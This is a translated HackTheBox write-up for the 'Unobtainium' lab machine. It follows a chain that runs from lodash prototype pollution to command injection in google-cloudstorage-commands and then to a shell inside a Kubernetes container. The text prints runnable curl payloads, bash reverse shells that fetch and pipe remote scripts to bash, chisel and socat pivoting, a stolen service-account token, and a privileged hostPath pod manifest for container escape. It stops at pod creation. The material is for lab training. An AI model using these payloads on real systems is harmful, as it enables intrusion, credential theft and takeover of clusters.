This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Unobtainium


We start by exploiting a prototype pollution vulnerability. Then we leverage a command injection CVE to get a shell in a container. For privilege escalation, we pivot between Kubernetes containers and analyze the secrets of a namespace. Finally, using the permission to create pods, we break out of the container.

June 18, 202417 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

ping -c 1 10.10.10.235
PING 10.10.10.235 (10.10.10.235) 56(84) bytes of data.
64 bytes from 10.10.10.235: icmp_seq=1 ttl=63 time=175 ms

--- 10.10.10.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.026/175.026/175.026/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.235 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.235
   5   │     [*] Open ports: 22,80,8443,31337,10250,10251
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> nmap -p22,80,8443,31337,10250,10251 -sCV 10.10.10.235 -oN versions

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: aafb70ca-6fef-48e4-9836-d57c119bed8d
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: ea15ea5d-000a-4a41-a427-8815265b480b
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 746cb85a-03d1-4509-8e50-d3911982b1fa
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-10-26T13:35:54
|_http-title: Site doesn't have a title (application/json).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2025-06-12T21:59:31
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10251/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Wed, 12 Jun 2024 22:08:10 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Wed, 12 Jun 2024 22:07:44 GMT
|     Content-Length: 19
|_    page not found
31337/tcp open  http          Node.js Express framework
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

App

We start by visiting the website on port 80.

It seems the machine hosts a chat application. From the website we can download the application.

The download gives us a compressed file called unobtainium_debian.zip.

> ls | grep unobtainium    

unobtainium_debian.zip

After unzipping it, we find a .deb file, which we install with sudo apt install ./unobtainium_1.0.0_amd64.deb.

Once installed, we run it with the unobtainium command.

When it runs, a window opens saying it can’t find the domain unobtainium.htb, so we add it to /etc/hosts pointing to the target machine’s IP. From this message we deduce that the application doesn’t work only locally, but connects to a server…

The application has 3 features:

Message Log:

Post Message:

Todo:

As we saw before, this application connects to the unobtainium.htb server, so we’ll use Wireshark to intercept the communication between the application and the server when we use any of the 3 features above.

Post Message:

A request is sent with the PUT method to unobtainium.htb:31337. As data, we’re sending the following JSON:

{
  "auth": {
    "name": "felamos",
    "password": "Winter2021"
  },
  "message": {
    "text": "Testing3"
  }
}

First, authentication with a username and password takes place, and then the message is sent.

Message Log:

It simply makes a GET request to unobtainium.htb:31337, and the response contains the log of messages sent to the server

{
  "icon": "__",
  "text": "Testing3",
  "id": 1,
  "timestamp": 1718709973974,
  "userName": "felamos"
}

Todo:

In the todo section, a request is made with the POST method to unobtainium.htb:31337/todo, and the data is what looks like a file name

{
  "auth": {
    "name": "felamos",
    "password": "Winter2021"
  },
  "filename": "todo.txt"
}

In the response we see what looks like the contents of that file

{
  "ok": true,
  "content": [
    "1. Create administrator zone.",
    "2. Update Node.js API Server.",
    "3. Add Login functionality.",
    "4. Complete Get Messages feature.",
    "5. Complete ToDo feature.",
    "6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1",
    "7. Improve security"
  ]
}

With this, the first thing that comes to mind is an LFI

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"/etc/passwd"}'

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"../../../../../../../etc/passwd"}'

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"....//....//....//....//....//....//....//etc/passwd"}'

But we can’t read /etc/passwd

If we remember, nmap said we’re dealing with Node.js on port 31337, so there has to be an index.js in the project root; let’s try to read it

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'   
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
  return users.find((u) =>
    u.name === auth.name &&
    u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
  res.send(messages);
});

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.delete('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user || !user.canDelete) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  root.upload("./", filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  testFolder = "/usr/src/app";
  fs.readdirSync(testFolder).forEach(file => {
    if (file.indexOf(filename) > -1) {
      var buffer = fs.readFileSync(filename).toString();
      res.send({ok: true, content: buffer});
    }
  });
});

app.listen(3000);
console.log('Listening on port 3000...');

Now we have much more information about the application.

At the beginning of the code, 2 users are declared:

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

We already knew about felamos, but a new user shows up: admin. We can’t see the password, since it’s random and generated at runtime. Apart from the name and password, we see there are 2 ‘roles’, canDelete and canUpload. admin has both set to true, but felamos has neither.

We find a new function, upload, which only users with the canUpload role can use.

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  root.upload("./", filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

The file is uploaded with root.upload, but where does that come from?

At the top of the code, google-cloudstorage-commands is imported

var root = require("google-cloudstorage-commands");

An online search reveals that it’s vulnerable to an OS command injection: https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

This is the PoC:

var root = require("google-cloudstorage-commands");
root.upload("./","& touch JHU", true);

It looks like a very simple OS command injection.

That’s great, but we can’t upload files, since the user felamos doesn’t have the role to do so. Let’s keep enumerating…

In the message posting function, we see a merge done without sanitization, which allows prototype pollution

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

We can try a prototype pollution to set canUpload to true; we can sneak the prototype pollution into req.body.message.

curl -X PUT \                                                                                                                                                                 
  -H "Content-Type: application/json" \
  -d '{
        "auth": {
            "name": "felamos",
            "password": "Winter2021"
        },   
        "message": {
            "test": "something",
            "__proto__": {
                "canUpload": true
            }
        }
    }' \ 
  http://unobtainium.htb:31337

Now ALL users will have canUpload set to true.

┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'                              
{"ok":false,"error":"Access denied"}                 



┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337
{"ok":true}


┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'                              
{"ok":true,"Uploaded_File":"malicious-script.js"}                                                                                                                                                                                                                                            

We can upload files now!

If we remember the CVE we found earlier, we can use it to run commands. To check that we have remote command execution, we listen for ICMP packets with tcpdump on the tun0 interface

$ sudo tcpdump -i tun0 icmp

And we send the payload

$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& ping -c 1 10.10.14.47"}' 
{"ok":true,"Uploaded_File":"& ping -c 1 10.10.14.47"}

It works!!!

The ICMP packet arrives

16:18:51.721013 IP unobtainium.htb > 10.10.14.47: ICMP echo request, id 51165, seq 1, length 64
16:18:51.721055 IP 10.10.14.47 > unobtainium.htb: ICMP echo reply, id 51165, seq 1, length 64

To get the reverse shell, we create a file called shell with the reverse shell code inside, and then start a Python server so the target machine can access this file

$ cat shell 
bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"
                                                                                                                                                                              
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We listen on port 443 to receive the reverse shell

nc -nlvp 443

And finally we send the payload

curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.10.14.47/shell | bash"}'

We have the reverse shell

$ nc -nlvp 443 

listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 9372
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-zjnnh:/usr/src/app# 

Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

Privilege escalation

We’re inside a container as root, so we need to break out. To enumerate the container we use linpeas.sh, a tool that automates reconnaissance for privilege escalation and containers.

To enumerate Kubernetes, we’ll upload the kubectl binary to the machine

We check whether we can list namespaces

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped

yes

We can, so we list them

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get namespaces
NAME              STATUS   AGE
default           Active   659d
kube-system       Active   659d
kube-public       Active   659d
kube-node-lease   Active   659d
dev               Active   659d

There is a namespace whose name stands out, dev. What we can do now is list the pods in the dev namespace

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get pods -n dev
NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running   6 (235d ago)   659d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   6 (235d ago)   659d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   6 (235d ago)   659d

Once we have the pods, we run describe to get more info on the first pod

./kubectl describe pods/devnode-deployment-776dbcf7d6-g4659 -n dev

Name:             devnode-deployment-776dbcf7d6-g4659
Namespace:        dev
Priority:         0
Service Account:  default
Node:             unobtainium/10.10.10.235
Start Time:       Mon, 29 Aug 2022 09:32:21 +0000
Labels:           app=devnode
                  pod-template-hash=776dbcf7d6
Annotations:      <none>
Status:           Running
IP:               10.42.0.62
IPs:
  IP:           10.42.0.62
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
  devnode:
    Container ID:   docker://733280337cc5998774d1a54dd9c8d0bc59f09053952f497050267389b18c08a9
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Tue, 18 Jun 2024 11:08:53 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Fri, 27 Oct 2023 15:17:48 +0000
      Finished:     Fri, 27 Oct 2023 15:24:53 +0000
    Ready:          True
    Restart Count:  6
    Environment:    <none>
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:  
  kube-api-access-ww6h2:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

This pod has the IP 10.42.0.62 with port 3000 open, and we’re on 10.42.0.70.

If we curl port 3000 on the pod, it seems to be running the same service we compromised in the 10.42.0.70 container

root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.62:3000
[]

root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.70:3000
[{"icon":"__","test":"something","id":1,"timestamp":1718714423614,"userName":"felamos"}]root@webapp-deployment-9546bc7cb-zjnnh:~# 

What we can try is to compromise the container inside the dev namespace and see whether we have any special privileges inside it

For this we’ll do some pivoting…

First we transfer chisel and socat to the target machine

From our machine we start a chisel server on port 1234

./chisel server --reverse -p 1234

From the target machine we connect to that server

./chisel client 10.10.14.47:1234 R:socks &

Then, at the very bottom of the proxychains config file, we add

socks5  127.0.0.1 1080

Now we should be able to curl port 3000 on the dev namespace pod from our machine

sudo proxychains curl 10.42.0.62:3000 2>/dev/null

[]

We exploit the prototype pollution

sudo proxychains curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://10.42.0.62:3000 2>/dev/null

We could send the reverse shell directly, but I don’t feel like it, so we’ll use socat: we’ll send the reverse shell to the first container, and the first container will forward it to us with socat.

$ cat shell2               
bash -c "bash -i >& /dev/tcp/10.42.0.70/4433 0>&1"

$ sudo python3 -m http.server 80

We run socat on the first container so it forwards the reverse shell to our machine.

./socat TCP-LISTEN:4433,fork TCP:10.10.14.47:4433

We run a second socat so that when we curl 10.42.0.70 to get the reverse shell code, the request is forwarded to our IP

./socat TCP-LISTEN:80,fork TCP:10.10.14.47:80

We listen on port 4433

nc -nlvp 443

Finally, we run the payload and get the shell.

sudo proxychains curl -X POST http://10.42.0.64:3000/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.42.0.70/shell2 | bash"}'
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 24106
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# 

Inside this container we transfer kubectl to enumerate Kubernetes. To transfer it, I’ll take advantage of the socat we used before: I’ll make a request to 10.42.0.70/kubectl, which the 10.42.0.70 container will forward to my machine.

wget 10.42.0.70/kubectl

With kubectl we can check whether we have permission to enumerate secrets in this container

root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n default
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-system
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-public
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-node-lease
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n dev
no

We don’t have any permission different from the other pod. There were more containers in the dev namespace, so we’ll try repeating the same process, but this time to jump to 10.42.0.62

nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 48507
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# script /dev/null -c bash
<bcf7d6-g4659:/usr/src/app# script /dev/null -c bash   
Script started, file is /dev/null
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# 

We transfer kubectl

wget 10.42.0.70/kubectl

We check again whether we have permission to enumerate secrets:

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n default
no
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n kube-system
yes

We can enumerate the secrets in the kube-system namespace

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl get secrets -n kube-system

NAME                                                 TYPE                                  DATA   AGE
unobtainium.node-password.k3s                        Opaque                                1      659d
horizontal-pod-autoscaler-token-2fg27                kubernetes.io/service-account-token   3      659d
coredns-token-jx62b                                  kubernetes.io/service-account-token   3      659d
local-path-provisioner-service-account-token-2tk2q   kubernetes.io/service-account-token   3      659d
statefulset-controller-token-b25sg                   kubernetes.io/service-account-token   3      659d
certificate-controller-token-98jdq                   kubernetes.io/service-account-token   3      659d
root-ca-cert-publisher-token-t564t                   kubernetes.io/service-account-token   3      659d
ephemeral-volume-controller-token-brb5h              kubernetes.io/service-account-token   3      659d
ttl-after-finished-controller-token-wf8k9            kubernetes.io/service-account-token   3      659d
replication-controller-token-9m8mh                   kubernetes.io/service-account-token   3      659d
service-account-controller-token-6vsl2               kubernetes.io/service-account-token   3      659d
node-controller-token-dfztj                          kubernetes.io/service-account-token   3      659d
metrics-server-token-d4k84                           kubernetes.io/service-account-token   3      659d
pvc-protection-controller-token-btkqg                kubernetes.io/service-account-token   3      659d
pv-protection-controller-token-k8gq8                 kubernetes.io/service-account-token   3      659d
endpoint-controller-token-zd5b9                      kubernetes.io/service-account-token   3      659d
disruption-controller-token-cnqj8                    kubernetes.io/service-account-token   3      659d
cronjob-controller-token-csxvj                       kubernetes.io/service-account-token   3      659d
endpointslice-controller-token-wrnvm                 kubernetes.io/service-account-token   3      659d
pod-garbage-collector-token-56dzk                    kubernetes.io/service-account-token   3      659d
namespace-controller-token-g8jmq                     kubernetes.io/service-account-token   3      659d
daemon-set-controller-token-b68xx                    kubernetes.io/service-account-token   3      659d
replicaset-controller-token-7fkxv                    kubernetes.io/service-account-token   3      659d
job-controller-token-xctqc                           kubernetes.io/service-account-token   3      659d
ttl-controller-token-rsshv                           kubernetes.io/service-account-token   3      659d
deployment-controller-token-npk6k                    kubernetes.io/service-account-token   3      659d
attachdetach-controller-token-xvj9h                  kubernetes.io/service-account-token   3      659d
endpointslicemirroring-controller-token-b5r69        kubernetes.io/service-account-token   3      659d
resourcequota-controller-token-8pp4p                 kubernetes.io/service-account-token   3      659d
generic-garbage-collector-token-5nkzj                kubernetes.io/service-account-token   3      659d
persistent-volume-binder-token-865v2                 kubernetes.io/service-account-token   3      659d
expand-controller-token-f2csp                        kubernetes.io/service-account-token   3      659d
clusterrole-aggregation-controller-token-wp8k6       kubernetes.io/service-account-token   3      659d
default-token-h5tf2                                  kubernetes.io/service-account-token   3      659d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      659d
k3s-serving                                          kubernetes.io/tls                     2      235d

Among all the secrets, c-admin-token-b47f7 stands out. To see its contents, we use the following command

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl describe secrets/c-admin-token-b47f7 -n kube-system

Name:         c-admin-token-b47f7stem659:/usr/src/app# ./kubectl2 describe secret
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c

Type:  kubernetes.io/service-account-token

Data
====
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
ca.crt:     570 bytes

Now we have the token, which we’ll save in a file called token. Now we check whether we have elevated permissions with this token, starting by checking whether we can create pods with it

./kubectl auth --token $(cat token) can-i create pod
yes

We can.

This page explains how to escape from the container with this privilege: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes

We’re going to create a pod, so first we create the following YAML

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# cat mount_root.yaml 
apiVersion: v1
kind: Pod
metadata:
  name: pwned2
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwned
    image: localhost:5000/node_server
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /root/
      name: getflag
    command: [ "/bin/bash" ]
    args: [ "-c", "/bin/bash -i >& /dev/tcp/10.10.14.47/4434 0>&1;" ]
  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
  volumes:
  - name: getflag
    hostPath:
      path: /root/

What this does is that, when we create the pod with this YAML, the command we specify in command: is run from the host machine

As the image we use localhost:5000/node_server, since, being HackTheBox, the machine doesn’t have internet access and we can’t use an ubuntu image. localhost:5000 is the image used for the other pods; we saw this when we ran describe on the pod

Image:          localhost:5000/node_server

We start listening

nc -nlvp 4434

We create the pod

